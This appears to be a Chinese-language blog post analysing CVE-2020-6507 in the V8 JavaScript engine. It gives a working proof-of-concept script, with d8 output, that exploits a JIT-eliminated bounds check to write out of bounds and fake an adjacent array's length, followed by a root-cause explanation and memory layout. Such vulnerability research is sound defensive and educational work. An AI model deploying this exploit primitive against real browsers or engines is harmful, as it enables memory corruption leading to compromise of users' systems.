cve_2020_6507分析

poc

$ cat poc.js
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);


length_as_double =
    new Float64Array(new BigUint64Array([0x22222222n]).buffer)[0];

function trigger(array, oob) {
  var x = array.length;
  x -= 67108861; // 1 2
  x = Math.max(x, 0);
  x *= 10; // 10 20
  x -= 9; // 1 11
  x = Math.max(x, 0);
  oob[x] = length_as_double; // fake length
}

for (let i = 0; i < 30000; ++i) {
  vul = [1.1, 2.1];
  pad = [vul];
  double_array = [3.1];
  obj = {"a": 2.1};
  obj_array = [obj];
  trigger(giant_array, vul);
}
console.log("length = ", double_array.length.toString(16));
$ ./d8 poc.js
length =  11111111

漏洞原因分析

NewFixedArray和NewFixedDoubleArray没有对数组的大小进行判断.kFixedDoubleArrayMaxLength = 671088612。所以浮点数组的最大长度为67108862。
giant_array长度为0x40000*0xff + 0x3fffc + 3 = 67108863,其中splice函数会调用NewFixedDoubleArray函数,造成数组长度超过kFixedDoubleArrayMaxLength。
传入giant_array后trigger函数计算得到x为11,而vul长度为2,正常情况下是不会造成越界读写的。
但是v8在执行代码时会进行jit优化,去除掉冗余代码,加速代码执行。在正常情况下trigger函数会默认传入的数组长度<=kFixedDoubleArrayMaxLength.这样子计算出来的x为0或1,而vul[0]或vul[1]是可以正常访问的,那么jit在优化时就会将长度检查这部分优化掉。而我们得到的x为11,这样就可以越界读写,而vul[11]这个位置正是double_array的length位。
内存分布大概如下

 32 bit map                      | 32 bit length
 64 bit double vul[0]
 64 bit double vul[1]
 32 bit map                      | 32 bit properties
 32 bit elements                 | 32 bit length
 32 bit map                      | 32 bit length
 32 bit pad[0]                   | 32 bit map 
 32 bit properties               | 32 bit elements
 32 bit length                   | 32 bit map
 32 bit length                   | high 32 bit of double_array[0]
 low 32 bit of double_array[0]   | 32 bit map
 32 bit properties               | 32 bit elements 
 32 bit length
posted @ 2023-02-02 22:10  岁云暮  阅读(68)  评论(0编辑  收藏  举报